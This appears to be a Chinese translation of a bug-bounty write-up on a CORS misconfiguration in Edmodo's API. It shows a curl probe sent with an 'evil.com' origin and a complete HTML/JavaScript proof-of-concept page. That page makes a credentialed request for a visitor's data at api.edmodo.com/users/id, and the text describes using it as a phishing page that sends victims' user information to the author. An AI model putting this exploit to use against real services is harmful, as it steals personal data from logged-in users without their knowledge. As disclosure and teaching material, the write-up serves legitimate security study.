第九篇翻译:CORS跨域请求

原文:Exploitation of CORS(Cross Origin Resource Sharing) on Edmodo

漏洞:跨域请求

作者:Yeasir Arafat

难度:低

  现在我正在渗透Edmodo,我察觉到某个API接口可能存在CORS漏洞。首先我们必须先确认该站点是否能够跨域请求资源,于是我利用了curl来检测。然后它返回Access-Control-Allowed-Credentials: true 这意味着这里存在一个CORS漏洞

1
curl https://api.edmodo.com -H "Origin: https://evil.com" -I

  用户访问https://api.edmodo.com/users/id 时浏览器会返回从服务端获取到的数据

  所以最终的payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC Exploit</title>
</head>
<body>
<center>
<h1>CORS Exploit<br>Yeasir Arafat</h1>
<hr>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script type="text/javascript">
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if(this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://api.edmodo.com/users/id", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</center>
</body>
</html>

  当我配置好钓鱼页面之后,一旦用户点击就会触发跨域请求,将用户信息发送给我

打赏译者

文章目录
  1. 1. 原文:Exploitation of CORS(Cross Origin Resource Sharing) on Edmodo
  2. 2. 漏洞:跨域请求
  3. 3. 作者:Yeasir Arafat
  4. 4. 难度:低
  5. 5.   现在我正在渗透Edmodo,我察觉到某个API接口可能存在CORS漏洞。首先我们必须先确认该站点是否能够跨域请求资源,于是我利用了curl来检测。然后它返回Access-Control-Allowed-Credentials: true 这意味着这里存在一个CORS漏洞
  6. 6.   用户访问https://api.edmodo.com/users/id 时浏览器会返回从服务端获取到的数据
  7. 7.   所以最终的payload如下
  8. 8.   当我配置好钓鱼页面之后,一旦用户点击就会触发跨域请求,将用户信息发送给我
  • 打赏译者
  • |